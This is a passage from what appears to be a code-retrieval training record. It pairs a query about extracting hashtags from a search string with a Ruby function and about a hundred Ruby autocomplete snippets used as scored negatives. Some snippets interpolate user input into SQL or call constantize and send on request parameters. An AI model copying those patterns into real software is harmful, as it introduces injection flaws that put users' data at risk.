"def auto_complete_for_ces\r\n value = params[:term]\r\n field = %w(collectors locality mthd verbatim_method macro_habitat micro_habitat).include?(params[:field]) && params[:field]\r\n\r\n if field && value\r\n @ids = Ce.select(field.downcase).where([ \"ces.proj_id = ? AND LOWER(ces.#{field.downcase}) LIKE (?)\", params[:proj_id], '%' + value.downcase + '%' ])\r\n .group(field.downcase).order(\"#{field.downcase} ASC\").limit(100).map {|v| v.send(field.downcase.to_sym)}\r\n\r\n render :json => Json::simple_autocomplete(@ids)\r\n elsif value\r\n @ces = Ce.find_for_auto_complete(value)\r\n render :json => Json::format_for_autocomplete_with_display_name(:entries => @ces, :method => params[:method])\r\n else\r\n head(:bad_request)\r\n end\r\n end",
"def autocomplete(term)\n get(\"/catalog/titles/autocomplete?term=#{term}\")\n end",
"def autocomplete(line, namespace)\n raise NotImplementedError, \"autocomplete\"\n end",
"def scaffold_use_auto_complete\n scaffold_auto_complete_options[:enable]\n end",
"def suggester_name(url_params = nil)\n blacklight_config.autocomplete_suggester ||= DEF_AUTOCOMPLETE_SUGGESTER\n super\n end",
"def complete_tags\n unless request.post?\n render_404\n return\n end\n @tags = Tag.for_autocomplete params[:tag]\n render :partial => \"auto_completed\"\n end",
"def autocomplete\r\n # table parameter must be defined. If not, get it from search parameter\r\n if params['table'].nil? && params['search'].match(/\\./)\r\n name = params['search'].split('.').first\r\n params['table'] = name.underscore\r\n end\r\n if params['table'].match('_control')\r\n # it must be at least logged on\r\n return render json: { label: t('drgcms.not_authorized') } unless dc_user_can(DcPermission::CAN_VIEW, 'dc_memory')\r\n else\r\n return render json: { label: t('drgcms.not_authorized') } unless dc_user_can(DcPermission::CAN_VIEW)\r\n end\r\n\r\n table = params['table'].classify.constantize\r\n input = params['input'].gsub(/\\(|\\)|\\[|\\]|\\{|\\|\\.|\\,}/, '')\r\n # call method in class if search parameter contains . This is for user defined searches\r\n a = if params['search'].match(/\\./)\r\n #method, additional_params = params['search'].split('.')\r\n #data = additional_params ? table.send(method, input, additional_params, self) : table.send(method, input)\r\n name, method = params['search'].split('.')\r\n data = table.send(method, input)\r\n data.map do |v|\r\n { label: v[0], value: v[0], id: (v[1] || v[0]).to_s }\r\n end\r\n # will search and return field_name defined in params['search']\r\n else\r\n table.where(params['search'] => /#{input}/i).limit(20).map do |v|\r\n { label: v[params['search']], value: v[params['search']], id: v.id.to_s }\r\n end\r\n end\r\n\r\n render json: a\r\nend",
"def get_autocomplete_items(parameters)\n super(parameters).active rescue nil\n end",
"def test_autocomplete_searches\n do_find_all\n do_autocomplete_query\n end",
"def scaffold_auto_complete_for(object, options = {})\n define_method(\"scaffold_auto_complete_for_#{object}\") do\n @items = object.to_s.camelize.constantize.scaffold_auto_complete_find(params[:id], options)\n render :inline => \"<%= scaffold_auto_complete_result(@items) %>\"\n end\n end",
"def default_autocomplete\n [\n { label: \"My Profile settings\", url: profile_path },\n { label: \"My SSH Keys\", url: profile_keys_path },\n { label: \"My Dashboard\", url: root_path },\n { label: \"Admin Section\", url: admin_root_path },\n ]\n end",
"def auto_complete_for_customer\n render :json => {} and return if (terms_string = params[:term].to_s).length < 2\n terms = terms_string.split( /\\s+/ )\n max_matches = 60\n exact_name_matches = Customer.exact_name_matches(terms).limit(max_matches/3)\n partial_name_matches = Customer.partial_name_matches(terms).limit(max_matches/3) - exact_name_matches\n other_term_matches = Customer.other_term_matches(terms).limit(max_matches/3) - exact_name_matches - partial_name_matches\n\n if (exact_name_matches.size + partial_name_matches.size + other_term_matches.size) == 0\n render :json => [{'label' => '(no matches)', 'value' => nil}] and return\n end\n show_all_matches = [{\n 'label' => \"List all matching '#{terms_string}'\",\n 'value' => customers_path(:customers_filter => terms_string)}]\n result =\n exact_name_matches.map { |c| {'label' => c.full_name, 'value' => customer_path(c)} } +\n partial_name_matches.map { |c| {'label' => c.full_name, 'value' => customer_path(c)} } +\n other_term_matches.map { |c| {'label' => \"#{c.full_name} (#{c.field_matching_terms(terms)})\", 'value' => customer_path(c)} } +\n show_all_matches\n render :json => result.uniq\n end",
"def autocomplete\n search_params = params.merge(search_field: Spotlight::Engine.config.autocomplete_search_field)\n (_, @document_list) = search_results(search_params.merge(public: true), search_params_logic)\n\n respond_to do |format|\n format.json do\n render json: { docs: autocomplete_json_response(@document_list) }\n end\n end\n end",
"def auto_complete_for_ingredient_name\n value = params[:ingredient][:name]\n @ingredients = Ingredient.find(:all, \n :conditions => [ 'LOWER(name) LIKE ?',\n '%' + value.downcase + '%' ], \n :order => 'name ASC',\n :limit => 8)\n render :partial => 'ingredient_name_matches'\n end",
"def suggest\n @suggestions = suggestions_service.suggestions\n render 'suggest', layout: false\n end",
"def get_autocomplete_items(parameters)\r\n super(parameters).active rescue nil\r\n end",
"def get_autocomplete_items(parameters)\r\n super(parameters).active rescue nil\r\n end",
"def get_autocomplete_items(parameters)\r\n super(parameters).active rescue nil\r\n end",
"def auto_complete\n @users = if params[:term] =~ /(@[^\\s]+)\\s.*/\n elsif user_name = params[:term].match(/(@[^\\s]+)/)\n users = User.select('name').where('name LIKE ?', \"%#{user_name[1].to_s[1..-1]}%\")\n\n users.map {|user| {name: \"#@{user.name}\"} }\n end\n render json: @users.to_json\n end",
"def autocomplete\n @design_methods = DesignMethod.where(['name LIKE ?', \"#{params[:term]}%\"])\n @design_hash = []\n @design_methods.each do |d|\n @design_hash << { label: d.name }\n end\n respond_to do |format|\n format.json { render json: @design_hash}\n end\n end",
"def suggestions\n suggest(search_suggestions)\n end",
"def autocomplete\n render :json => end_of_association_chain.ordered.search(params[:term]).limit(params[:limit] || 10).to_autocomplete\n end",
"def setup_scaffold_auto_complete_for(model_id)\n scaffold_auto_complete_for(model_id) if model_id.to_s.camelize.constantize.scaffold_use_auto_complete && !respond_to?(\"scaffold_auto_complete_for_#{model_id}\")\n end",
"def widget\n respond_to do |format|\n format.html { render :inline => <<-EOS\n <html>\n <body>\n <input type=\"textfield\" name=\"the_textfield\" acs_source=\"/acs/jqb/dogs\" id=\"the_textfield\"/>\n \n <input type=\"textfield\" name=\"the_textfield2\" acs_source=\"/acs/jqb/dogs\" id=\"the_textfield2\"/>\n \n <%= javascript_include_tag 'jquery-1.4.2' %>\n \n \n <% javascript_tag do %>\n // Top Level function to bind an Auto-Completer to an HTML element\n // Should eventually extract autocompleter client name from a acs_source like \"/acs/jqb_v2/dogs\"\n // to invoke JqbV2.attach(element)\n jQuery.fn.extend({\n bindAcs:function() {\n this.each(function() {\n var element = jQuery(this);\n Jqb.attach(element);\n })\n }\n });\n \n // A namespace to hold all references to all Autocompleter client bindings\n // on this page\n var Acs = {\n instances:[]\n }\n \n // jQuery Basic Autocompleter for ACS API\n //\n var Jqb = {\n loaded:false,\n \n // This is like the constructor--where all of the base-line behavior associated\n // with a Jqb client can added to the page\n attach:function(element) {\n // Move the \n element.data(\"acs_source\", element.attr('acs_source'));\n element.focus(function(){\n //Do nothing\n }),\n element.keyup(this.handleKeyUp)\n },\n \n handleKeyUp:function(event) {\n var keyupped = event.target;\n console.log('[handleKeyUp] ' + $(keyupped).val());\n \n // Catch arrows, enter, tab\n // pass other stuff through to ajax request\n // should buffer key strokes and wait for the user\n // to finish typing (i think)\n //\n switch (event.keyCode) {\n //Catch/buffer/ depending on the key pressed\n // see here for details: http://unixpapa.com/js/key.html \n }\n \n // Fire off request\n $.getJSON($(keyupped).attr('acs_source'), {q:$(keyupped).val()}, function(json) {\n jQuery.each(json, function() {\n // BIG TODO: <dog> should be dynamic not hard coded...\n console.log(this.dog.name);\n });\n })\n }\n }\n \n \n // Starting point to attach the autocompleter server\n // to all clients on the page\n $(document).ready(function(){\n $(\"input[acs_source]\").bindAcs();\n });\n\n <% end %>\n </body>\n </html> \n EOS\n }\n end\n end",
"def bu_autocomplete\n search_term = params[:term]\n\n species_id = Specie.find_by_scientificname(params[:species])\n\n cultivars = Cultivar.where(\"specie_id = ?\", species_id)\n\n logger.debug(\"cultivars for autocompletion: #{cultivars.inspect}\")\n\n filtered_cultivars = cultivars.where(\"LOWER(name) LIKE LOWER(?)\", '%' + search_term + '%')\n\n if filtered_cultivars.size > 0 || search_term.size > 1\n cultivars = filtered_cultivars\n # else if there are no matches and the user has only typed one letter, just return every cultivar associated with the chosen species\n end\n\n cultivars = cultivars.to_a.map do |item|\n item.name.squish\n end\n\n # don't show rows where name is null or empty\n # TO-DO: eliminate these from the database and prevent them with a constraint\n cultivars.delete_if { |item| item.nil? || item.empty? }\n\n if cultivars.empty?\n cultivars = [ { label: \"No matches\", value: \"\" }]\n end\n\n respond_to do |format|\n format.json { render :json => cultivars }\n end\n end",
"def autocomplete_on\n\t\tconditions = if params[:name]\n [\"name LIKE :name\", { :name => \"%#{params['name']}%\"} ]\n else\n {}\n end\n\t\t @objects = params[:model_name].classify.constantize.find(:all, :conditions => conditions)\n\t\t render :text => '<ul>'+ @objects.map{ |e| '<li>' + e.name + '</li>' }.join(' ')+'</ul>'\n\tend",
"def auto_complete_for_reason_code_reason_code\n reason_code = params[:reason_code][:reason_code]\n auto_complete_for_reasoncode(reason_code)\n end",
"def auto_complete_for_filename_name\n auto_complete_responder_for_filename params[:filename][:name]\n end",
"def model_auto_completer(tf_name, tf_value, hf_name, hf_value, options={}, tag_options={}, completion_options={})\n rand_id = Digest::SHA1.hexdigest(Time.now.to_s.split(//).sort_by {rand}.join)\n hf_id = \"model_auto_completer_hf_#{rand_id}\"\n tf_id = \"model_auto_completer_tf_#{rand_id}\"\n options = {\n :regexp_for_id => '(\\d+)$',\n :allow_nil => false,\n :allow_free_text => false,\n :send_on_return => false,\n :controller => controller.controller_name,\n :action => 'auto_complete_model_for_' + tf_name.sub(/\\[/, '_').gsub(/\\[\\]/, '_').gsub(/\\[?\\]$/, ''),\n :after_update_element => 'Prototype.emptyFunction'\n }.merge(options)\n\n tag_options.update({\n :id => tf_id,\n :onfocus => 'this.model_auto_completer_cache = this.value'\n })\n tag_options[:onblur] = if options[:allow_nil]\n \"if (this.value != this.model_auto_completer_cache) {this.value = ''; $('#{hf_id}').value = ''}\"\n elsif options[:allow_free_text]\n \"if (this.value != this.model_auto_completer_cache) {$('#{hf_id}').value = ''}\"\n else\n 'this.value = this.model_auto_completer_cache' \n end\n # The following test is based on http://techpatterns.com/downloads/scripts/javascript_browser_detection_basic.txt\n tag_options[:onkeypress] = \"if (navigator.userAgent.indexOf('Safari') != -1) {return event.keyCode == Event.KEY_RETURN ? false : true } else { return true }\" unless options[:send_on_return]\n \n after_update_element_js = <<-JS.gsub(/\\s+/, ' ')\n function(element, value) {\n var model_id = /#{options[:regexp_for_id]}/.exec(value.id)[1];\n $(\"#{hf_id}\").value = model_id;\n element.model_auto_completer_cache = element.value;\n (#{options[:after_update_element]})(element, value, $(\"#{hf_id}\"), model_id);\n }\n JS\n completion_options.update({\n :url => url_for(\n :controller => options[:controller],\n :action => options[:action]\n ),\n :after_update_element => after_update_element_js\n })\n \n completion_options[:indicator] = \"loader\"\n\n return <<-HTML\n #{auto_complete_stylesheet unless completion_options[:skip_style]}\n #{hidden_field_tag(hf_name, hf_value, :id => hf_id)}\n #{text_field_tag tf_name, tf_value, tag_options}\n #{content_tag(\"div\", \"\", :id => \"#{tf_id}_auto_complete\", :class => \"auto_complete\")}\n #{auto_complete_field tf_id, completion_options}\n HTML\n end",
"def fill_auto_complete(field, filter = nil, full_text)\n fill_in field, with: filter unless filter\n\n page.execute_script %Q{ $('##{field}').trigger('focus') }\n page.execute_script %Q{ $('##{field}').trigger('keydown') }\n\n selector = %Q{ul.ui-autocomplete li.ui-menu-item a:contains(\"#{full_text}\")}\n\n sleep 5\n page.execute_script %Q{ $('#{selector}').trigger('mouseenter').click() }\n sleep 5\n end",
"def text_field_id_with_auto_complete(object, method, tag_options = {}, completion_options = {}, cont = params[:controller])\n # cont: an embedded form passes in its controller name (e.g. 'forms/admissions/prospect') otherwise the current controller is used\n # set the id and not worry about it throughout\n id = tag_options[:id] || \"#{object}_#{method}\"\n (completion_options[:skip_style] ? \"\" : auto_complete_stylesheet) +\n text_field(id, method, tag_options) +\n content_tag(\"div\", \"\", :id => \"#{id}_auto_complete\", :class => \"auto_complete\") +\n auto_complete_field(id, { :url => {:controller => cont, :action => \"auto_complete_for_#{object}_#{method}\" } }.update(completion_options))\nend",
"def auto_complete_for_hipaa_code_hipaa_adjustment_code\n hipaa_code = params[:hipaa_code][:hipaa_adjustment_code]\n auto_complete_for_hipaacode(hipaa_code)\n end",
"def generate_autocomplete\n s = self.complete_fields.map{|f| self.send(f)}.join(\" \")\n s = s.truncate(100, omission: \"\", separator: \" \") if s.length > 100\n write_attribute(:autocomplete, Autocomplete.normalize(s))\n write_attribute(:autocomplete_length, Autocomplete.normalize(s).size)\n end",
"def getAutocomplete(query, type)\n request('getAutocomplete', {'query' => query, 'type' => type})\nend",
"def setup_scaffold_auto_completes\n return if @scaffold_auto_completes_are_setup\n ActiveRecord::Base.all_models.each{|model| setup_scaffold_auto_complete_for(model.to_sym)}\n @scaffold_auto_completes_are_setup = true\n end",
"def setup_completer\n @completer = Qt::Completer.new\n\n @completer.widget = self\n @completer.completion_mode = Qt::Completer::PopupCompletion\n @completer.case_sensitivity = Qt::CaseSensitive\n\n @completer.connect(SIGNAL(\"activated(QString)\")) { |completion|\n insert_completion(completion)\n }\n\n @completion_pos = 0 # index of the completed character\n end",
"def scaffold_auto_complete_field(field_id, options = {})\n javascript_tag(\"var #{field_id}_auto_completer = new Ajax.Autocompleter('#{field_id}', '#{options[:update] || \"#{field_id}_scaffold_auto_complete\"}', '#{url_for(options[:url])}', {paramName:'id'})\")\n end",
"def lookup_action; end",
"def autocomplete\n keyword = params[:keyword]\n gs = Api::Google.new\n results = gs.autocomplete(keyword)\n render json: results # Return to frontend (-> results injected by spot_autocomplete_dropdown.js)\n end",
"def auto_complete_for_questionbank_topic\n if params[:questionbank][:topic] and request.xhr?\n auto_complete_responder_for_questionbanks params[:questionbank][:topic]\n end\n end",
"def complete(search); Bond::DefaultMission.completions; end",
"def auto_complete_for_reason_code_unique_code\n if params[:reason_code]\n adjustment_reason = params[:reason_code].keys[0]\n if adjustment_reason\n code = params[:reason_code][adjustment_reason][:unique_code]\n if code.present?\n auto_complete_for_unique_code(code.strip)\n end\n end\n end\n end",
"def suggest_handler_path\n @autocomplete_config[\"solr_endpoint\"]\n end",
"def set_university_autocomplete\n render json: {\"course_tags\": @course_tags, \"program_tags\": @program_tags}\n end",
"def batch_autocomplete(param_array_prefix, association, options={})\n options[:param_array_prefix] = param_array_prefix\n options[:div_id] = param_array_prefix.gsub(/[\\[\\]]/, \"_\")\n options[:current_associations] = association.map{|a| {:id => a.id, :name => a.name}}\n options[:association_params] ||= {}\n render :partial => 'shared/batch_autocomplete', :locals => options\n end",
"def autocomplete\n\t\tcond = get_search_conditions(params[:term], {\n\t\t\t'vacancies.exec_approval_no' => :like,\n\t\t\t'vacancies.org_no' => :like,\n\t\t\t'vacancies.cost_center' => :like,\n\t\t\t'vacancies.position_no' => :like,\n\t\t\t'vacancies.position' => :like,\n\t\t\t'vacancies.last_incumbent' => :like\n\t\t})\n\t\tcond << 'vacancies.exec_decision = \"Approved\"'\n\t\tuser_limited = @current_user.agency_level? && !@current_user.allow_vacancy_omb && !@current_user.allow_vacancy_admin\n\t\tagency_id = user_limited && @current_user.agency_id || params[:agency_id]\n\t\tdepartment_id = user_limited && @current_user.department_id || params[:department_id]\n\t\tdivision_id = user_limited && @current_user.division_id || params[:division_id]\n\t\tcond << 'vacancies.agency_id = %d' % agency_id.to_i if !agency_id.blank?\n\t\tcond << 'vacancies.department_id = %d' % department_id.to_i if !department_id.blank?\n\t\tcond << 'vacancies.division_id = %d' % division_id.to_i if !division_id.blank?\n\t\tobjs = @model.find(:all, :include => :vacancy_data, :conditions => get_where(cond), :limit => 10, :order => 'vacancies.id desc').map { |o|\n\t\t\to.autocomplete_json_data\n\t\t}\n\t\trender :json => objs.to_json\n\tend",
"def autocomplete_name\n @tags = Tag.where([\"name ILIKE ?\", \"*#{params[:term]}*\".to_escaped_for_sql_like]).order('LENGTH(name)', :name).limit(20).pluck(:name)\n respond_to do |format|\n format.json { render :json => @tags }\n end\n end",
"def autocomplete\n @lists = Listing.verification\n @lists = @lists.starts_with(filter_params[:country]) if filter_params[:country].present? \n \n respond_to do |format|\n format.json {render json:@lists}\n end\n end",
"def autocomplete_known_uri_search\n @known_uris = params[:term].blank? ? [] : search_known_uris_by_name_or_uri(params[:term])\n render_autocomplete_results\n end",
"def highlight_in_autocomplete\n\t\t\ttrue\n\t\tend",
"def autocomplete(name)\n self.class.get(\"/cards/autocomplete?q=#{name}\")\n end",
"def keyUp(event)\n row = @autoCompleteTableView.selectedRow\n isShow = @autoCompletePopover.isShown\n\n #p \"wufield\"+ event.keyCode.to_s\n\n case event.keyCode\n when 125 #down\n if isShow\n @autoCompleteTableView.selectRowIndexes(NSIndexSet.indexSetWithIndex((row + 1)), byExtendingSelection: false)\n @autoCompleteTableView.scrollRowToVisible(@autoCompleteTableView.selectedRow)\n insert(self)\n return #skip default behavior\n end\n\n when 126 #up\n if isShow\n @autoCompleteTableView.selectRowIndexes(NSIndexSet.indexSetWithIndex((row - 1)), byExtendingSelection: false)\n @autoCompleteTableView.scrollRowToVisible(@autoCompleteTableView.selectedRow)\n insert(self)\n return #skip default behavior\n end\n when 36, 48, 51, 49 # return, tab, space\n if @myDelegate.respondsToSelector(\"didClickedCloseKey\")\n @myDelegate.didClickedCloseKey\n end\n\n self.autoCompletePopover.close()\n\n return #//skip default behavior\n else\n end\n\n super(event)\n complete(self)\n end",
"def scaffold_text_field_tag_with_auto_complete(id, klass, tag_options = {})\n ((klass.scaffold_auto_complete_skip_style ? '' : auto_complete_stylesheet) +\n text_field_tag(id, nil, klass.scaffold_auto_complete_text_field_options.merge(tag_options)) +\n content_tag(\"div\", \"\", :id => \"#{id}_scaffold_auto_complete\", :class => \"auto_complete\") +\n scaffold_auto_complete_field(id, { :url => { :action => \"scaffold_auto_complete_for_#{klass.name.underscore}\"} }))\n end",
"def scaffold_auto_complete_options\n return @scaffold_auto_complete_options if @scaffold_auto_complete_options && @scaffold_auto_complete_options[:setup]\n @scaffold_auto_complete_options = @scaffold_auto_complete_options.nil? ? {} : {:enable=>true}.merge(@scaffold_auto_complete_options)\n @scaffold_auto_complete_options = scaffold_auto_complete_default_options.merge(@scaffold_auto_complete_options)\n @scaffold_auto_complete_options[:setup] = true\n @scaffold_auto_complete_options\n end",
"def auto_complete(word)\n completion_list.grep(/^#{ Regexp.escape(word) }/)\n end",
"def scaffold_text_field_with_auto_complete(object, method, associated_class, tag_options = {})\n klass = associated_class.to_s.camelize.constantize\n foreign_key = instance_variable_get(\"@#{object}\").send(method)\n ((klass.scaffold_auto_complete_skip_style ? '' : auto_complete_stylesheet) +\n text_field(object, method, klass.scaffold_auto_complete_text_field_options.merge({:value=>(foreign_key ? klass.find(foreign_key).scaffold_name_with_id : '')}).merge(tag_options)) +\n content_tag(\"div\", \"\", :id => \"#{object}_#{method}_scaffold_auto_complete\", :class => \"auto_complete\") +\n scaffold_auto_complete_field(\"#{object}_#{method}\", { :url => { :action => \"scaffold_auto_complete_for_#{associated_class}\" } }))\n end",
"def autocomplete\n @leader = Leaders.find(:all, :conditions => [\"name like ?\",\"%\" + params[:term].upcase + \"%\"])\n render json: @leader \n end",
"def auto_complete_for(object, association, method, options={}) #:nodoc:\n conditions = \"\"\n conditions = \" AND \"+options[:and_conditions].to_s unless options[:and_conditions].nil?\n options.delete(:and_conditions)\n if object.to_s.camelize.constantize.reflections[association].class_name.constantize.columns_hash[\"company_id\"].nil?\n define_method(\"auto_complete_belongs_to_for_#{object}_#{association}_#{method}\") do\n find_options = {\n :conditions => [\"LOWER(#{method}) LIKE ? #{conditions}\", '%' + params[association][method].downcase + '%'],\n :order => \"#{method} ASC\",\n :limit => 10\n }.merge!(options)\n klass = object.to_s.camelize.constantize.reflect_on_association(association).options[:class_name].constantize\n @items = klass.find(:all, find_options)\n render :inline => \"<%= model_auto_complete_result @items, '#{method}' %>\"\n end\n else\n define_method(\"auto_complete_belongs_to_for_#{object}_#{association}_#{method}\") do\n find_options = {\n :conditions => [\"LOWER(#{method}) LIKE ? AND company_id=? #{conditions}\", '%' + params[association][method].downcase + '%', @current_company_id],\n :order => \"#{method} ASC\",\n :limit => 10\n }.merge!(options)\n klass = object.to_s.camelize.constantize.reflect_on_association(association).options[:class_name].constantize\n @items = klass.find(:all, find_options)\n render :inline => \"<%= model_auto_complete_result @items, '#{method}' %>\"\n end\n end\n end",
"def autocomplete\n all.to_a\n end",
"def javascript_include_auto_complete\n if can_do_ajax?\n javascript_include 'prototype'\n javascript_include 'effects'\n javascript_include 'controls'\n javascript_include 'cached_auto_complete'\n end\n end",
"def scaffold_auto_complete_options\n return @scaffold_auto_complete_options if @scaffold_auto_complete_options && @scaffold_auto_complete_options[:setup]\n @scaffold_auto_complete_options = @scaffold_auto_complete_options.nil? ? {} : {:enable=>true}.merge(@scaffold_auto_complete_options)\n @scaffold_auto_complete_options = SCAFFOLD_OPTIONS[:auto_complete].merge(@scaffold_auto_complete_options)\n @scaffold_auto_complete_options[:setup] = true\n @scaffold_auto_complete_options\n end",
"def auto_complete_for_journal_title\n # Don't search on blank query.\n query = params['rft.jtitle']\n search_type = params[\"umlaut.title_search_type\"] || \"contains\"\n unless ( query.blank? )\n (context_objects, total_count) = find_by_title\n @titles = context_objects.collect do |co|\n metadata = co.referent.metadata\n {:object_id => metadata[\"object_id\"], :title => (metadata[\"jtitle\"] || metadata[\"btitle\"] || metadata[\"title\"])}\n end\n end\n render :text => @titles.to_json, :content_type => \"application/json\"\n end",
"def autocomplete\n @response, = search_service.search_results do |builder|\n builder.with(builder.blacklight_params.merge(search_field: Spotlight::Engine.config.autocomplete_search_field, public: true, rows: 100))\n end\n\n respond_to do |format|\n format.json do\n render json: { docs: autocomplete_json_response(@response.documents) }\n end\n end\n end",
"def autocomplete\n results = AttributeAutocomplete.new(\n attribute: params[:attribute],\n term: params[:term],\n year: year\n ).perform\n render json: results\n end",
"def get_autocomplete_items(parameters)\n HsCode.where(\"hs_codes.code like :search or hs_codes.description like :search\", :search => \"%#{params[:term]}%\").select('description, code').limit(100)\n end",
"def autocomplete(prefix, args={})\n query = \"/?client_id=#{@client_id}&format=#{format.to_s}&prefix=#{prefix}&#{format_parameters(args)}\"\n path = __method__.to_s\n http_get(path, query)\n end",
"def autocomplete_sn\n render :partial => 'autocomplete', :object => Scientificname.find(:all, :conditions => ['name ILIKE ?', params[:sn] + '%' ])\n end",
"def action_hook; end",
"def auto_complete_for_person_name\n \tname = params[:person][:name].downcase\n \tnames = name.strip.split(' ')\n \t\n find_options = {\n :order => \"last_name, first_name ASC\",\n\t :limit => 10 }\n\n\t\tif names.size > 1\n\t\t\t# there are two names provided\n\t\t\tfind_options[:conditions] = \"LOWER(first_name) LIKE '%#{names[0]}%' AND LOWER(last_name) LIKE '%#{names[1]}%' OR LOWER(first_name) LIKE '%#{names[1]}%' AND LOWER(last_name) LIKE '%#{names[0]}%'\"\n\t\telse\n\t\t\t# only the first name or last name has been provided\n\t\t\tfind_options[:conditions] = \"LOWER(first_name) LIKE '%#{names[0]}%' OR LOWER(last_name) LIKE '%#{names[0]}%'\"\n\t\tend\n\t\n\t\t@items = Person.find(:all, find_options)\n\t\n\t\tRails.logger.info(\"@items.size = #{@items.size}\")\n\n render :inline => \"<%= auto_complete_result @items, 'name' %>\"\n end",
"def generate_autocomplete\n s = self.name\n s = s.truncate(100, omission: \"\", separator: \" \") if s.length > 100\n write_attribute(:autocomplete, Autocomplete.normalize(s))\n write_attribute(:autocomplete_length, Autocomplete.normalize(s).size)\n end",
"def scaffold_auto_complete_text_field_options\n scaffold_auto_complete_options[:text_field_options]\n end",
"def autocomplete_book_author\n# re = Regexp.new(\"^#{params[:user][:favorite_language]}\" , \"i\" )\n # @books= Book.find_all do |book|\n # book.title.match re\n # end\n # render :layout=>false\n end",
"def causeautocomplete\n searchtext = params['searchText']\n\n if session[:roleid] == ADMIN_ROLE\n # this will do a like search ignoring case\n @searchcauseresults = Charity.where(\"charityname ILIKE ?\", \"%\" + searchtext + \"%\")\n \n else\n \n # this will do a like search ignoring case\n @searchcauseresults = Charity.where(\"charityname ILIKE ?\", \"%\" + searchtext + \"%\")\n .where(isapproved: true)\n \n end\n\n \n\n #if @searchcauseresults.count == 0\n # @searchcauseresults = Charity.new\n #end\n \n render :json => @searchcauseresults\n\n end",
"def autocomplete\n respond_to do |format|\n format.json do\n # Only get non-soft deleted Donations and Donations where the available until datetime is after the current datetime.\n @donations = Donation.kept.available\n\n # Ensure the User has permission to perform this action.\n authorize @donations\n\n # Search the Donations based on the current term typed into the search bar.\n @donations = @donations.search(params[:term])\n\n # Only return the name and description of the Donation, as a single array.\n @donation_names_and_descriptions = []\n @donations.map(&:name).zip(@donations.map(&:description)).each do |name, description|\n @donation_names_and_descriptions << \"#{name}: #{description}\"\n end\n\n render json: @donation_names_and_descriptions.to_json\n end\n end\n end",
"def auto_complete_for_hipaacode(hipaa_code)\n begin\n conditions = \"hipaa_codes.active_indicator = true and hipaa_codes.hipaa_adjustment_code like ?\"\n @hipaa_codes = HipaaCode.find(:all, :conditions => [conditions, hipaa_code.to_s+'%'],\n :select => ['hipaa_codes.id, hipaa_codes.hipaa_adjustment_code, hipaa_codes.hipaa_code_description'],\n :order => \"hipaa_codes.id ASC\", :limit => 10)\n rescue\n @hipaa_codes = nil\n end\n render :partial => 'auto_complete_for_hipaacode'\n end",
"def suggest\n main_page_cred\n @user = current_user\n end",
"def index\n @suggestions = Suggestion.all\n end"
] | [
"0.77667874",
"0.7307132",
"0.716601",
"0.6972508",
"0.68930584",
"0.6579809",
"0.6545349",
"0.65353984",
"0.65034467",
"0.64849186",
"0.64737",
"0.6438269",
"0.6423622",
"0.6362081",
"0.63257426",
"0.63088506",
"0.62807626",
"0.6272243",
"0.62631685",
"0.62363505",
"0.6234613",
"0.62328327",
"0.6230813",
"0.62291056",
"0.62135005",
"0.6201806",
"0.6189193",
"0.6186676",
"0.61839205",
"0.6170051",
"0.6138346",
"0.6131158",
"0.6112523",
"0.6080565",
"0.6066659",
"0.6052937",
"0.6046874",
"0.6044741",
"0.60424984",
"0.60424984",
"0.60424984",
"0.60387856",
"0.60309255",
"0.6030282",
"0.6022935",
"0.6021515",
"0.601803",
"0.60159576",
"0.5983285",
"0.5965025",
"0.5964352",
"0.5959788",
"0.59521",
"0.5950988",
"0.5945547",
"0.59446925",
"0.5929328",
"0.59288985",
"0.5894475",
"0.58935654",
"0.5889073",
"0.58785784",
"0.5871817",
"0.587005",
"0.5857035",
"0.5856335",
"0.58416474",
"0.58358854",
"0.58296084",
"0.5812915",
"0.5810982",
"0.58098906",
"0.5799763",
"0.5793746",
"0.57780445",
"0.5777124",
"0.57751185",
"0.57748544",
"0.57737166",
"0.57548976",
"0.575261",
"0.5750133",
"0.57404274",
"0.57366854",
"0.5727509",
"0.57241917",
"0.57229525",
"0.5716877",
"0.57139754",
"0.571051",
"0.57095504",
"0.5700222",
"0.5699388",
"0.5698337",
"0.56859136",
"0.56784534",
"0.5677046",
"0.567569",
"0.56566495",
"0.5654287"
] | 0.6414792 | 13 |
Somewhat simplistic parser that extracts query and hashprefixed tags from the search string and returns them as two element array, for example: "real Billy Bones pirate" => [ "Billy Bones", "real, pirate" ] | def parse_query_and_tags(search_string)
query, tags = [], []
search_string.scan(/[\w#]+/).each do |token|
if token.starts_with?("#")
tags << token[1 .. -1]
else
query << token
end
end
[ query.join(" "), tags.join(", ") ]
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def extract_tags!\n @parsed_query.gsub!(/(\\b)*tags\\:(\\S*)(\\b)*/i, \"\")\n @tags = $2.split(',') unless $2.blank?\n end",
"def parse(tags); end",
"def parse_tags(string_tags)\n s_tags = string_tags || \"\"\n s_tags = \"untagged\" if s_tags.empty?\n return s_tags.split(/[\\s,]+/)\n .map { |t| t[0]=='#' ? t[1..-1] : t }\n .map { |t| t.downcase}\n .select { |t| t.length > 0 }\n .uniq.sort\n rescue\n return nil\n end",
"def get_hash_tags\n self.text.gsub(/#(([a-z_\\-]+[0-9_\\-]*[a-z0-9_\\-]+)|([0-9_\\-]+[a-z_\\-]+[a-z0-9_\\-]+))/).to_a\n #self.text.gsub(/#(\\w+)/).to_a\n end",
"def get_search_breadcrumb_terms(q_param)\n q_param.scan(/(\"[^\"]+\"|\\w+)/).flatten\n end",
"def parse_string_query(query)\n query.scan(/(\\([^\\)]+\\)|\\[[^\\]]+\\]|'[^']+'|[^\\s]+)/)\n .flatten\n .map { |keys| { multi: /\\*\\*/ === keys[0..1],\n neg: /[\\[\\*]/ === keys[0],\n keys: keys.scan(/[\\w\\d\\s\\-\\_\\.]+/) }}\n end",
"def parseInputEmail\n\tputs \"extracting query terms from #{$file}\" if $verbose\n\t\n\t@emailString = IO.read($file)\n\t\n\tstringTerms = @emailString.scan(/(?<=\\[)([^_].*?)(?=\\])/)\n\tstringTerms.flatten!\n\t\n\tterms = stringTerms.map { |s| s.to_sym }\n\t\n\t#abort if we can't find at least one query term\n\tabort(\"template did not contain any query terms\") if terms.count <1\n\t\n\tpp(terms) if $verbose\n\treturn terms\n end",
"def parse_tags (string)\n tags = nil\n string.scan(LEWTLedger::MATCH_SINGLE_META_REGEX) { |t|\n if tags == nil\n tags = Hash.new\n end\n tag_value = parse_tag_value t[0]\n tag_name = parse_tag_name t[0]\n tags[tag_name.gsub(/\\W/,\"_\").to_sym] = tag_value\n }\n return tags\n end",
"def parse_search; end",
